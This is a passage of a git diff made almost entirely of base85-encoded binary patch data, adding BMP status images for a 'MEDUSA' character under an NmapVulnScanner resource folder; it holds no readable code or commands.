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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..939dc2e307a42fd6db211d3c2e3c07a6dfee2e32 GIT binary patch literal 18462 zcmd^_2Ut`|w)lPj-M2f*#2CoAiQROQQ$v%Z1VM6?jDP|nNbE#T5(N_ok~5+tQAbe` zC1)g~Btc1%!+q7=4&%&@Gs4W9ef$0IcPMVCd+zzwId!VK?v>MERM|(~L_o;}{xm=S z{ntKf^7%>Sefypqp!|_ffCBR;Z&DZx`sX73Wl#9UUEmO?`ZKqE`=I}Cwm*e+dmGx` zg0|PUH$H5w%xo@>Zp`+tzw26?XlcTs z7he@Ec4f_Xq|LWopKnc`Ye^zWbJA=R*iW8oy)xT!b*|;g9I3oI*ZeafUrHubZX}f- z1>6NxwWrT_WzWAVSs1EWns~V~H@vYjx4pf&H|{;Lt}l#z7^vmxx&X}YNF$Xb zN!^k4{>+(%tKH?1qfZi72Qrs>Zq0S1&QU6~rOpFs1?`bK+m;G0E%#;&J&fbD{Zweqq8FV zjEal|9j7Dhi^v-V9RXk=g^m-Bq}FAiC-xX+1}pT zSbn?q{?+nC{nGHg4}B#I-K72spf~!{bHmPxFmWeb&#Y|ex{-fRL0I2ZLTc<;^81z> zll94Oo+gbwO`52`0^HnP5v|NAcv9XztGu?dsht=cBTCKw=w`s$tF*bc8*}Yx3tc&j zuS!AOg8sTX+rI%4)*dj)x9r8QzkC+J-dbPUTAc&Uy*4-Se&~g+h=kXL8>J7nLIPVa zx>Oh{5MY02Q0GQzA%s;pP)aa9ASxWllSmPH79P%j!Ynmoz0Xxegm>PpUAHvyK66rI zWx8W!ZV>d#jn(&oMvtfJD#xJ3`Z1is}KKdvans-cRK9vdD1h1x%U z_~)^LL6!ts->4_8CUyv>&LW_PkTT*|Fyxoh=abgq5!d7r(clzPW9L_8L#nbP)nWV^ zoPt_BA}4vp^^j7AC^;afcqLUBQKE-oHX6o*J$*poHbw6rCxxItj}=(c(a?(F7Equ^ zS_moW!GZIH0FXL63c#tcp;TFs$}D_}OmL}VFwAidkhzpu5h`qas%(5JtbA(hC^Z 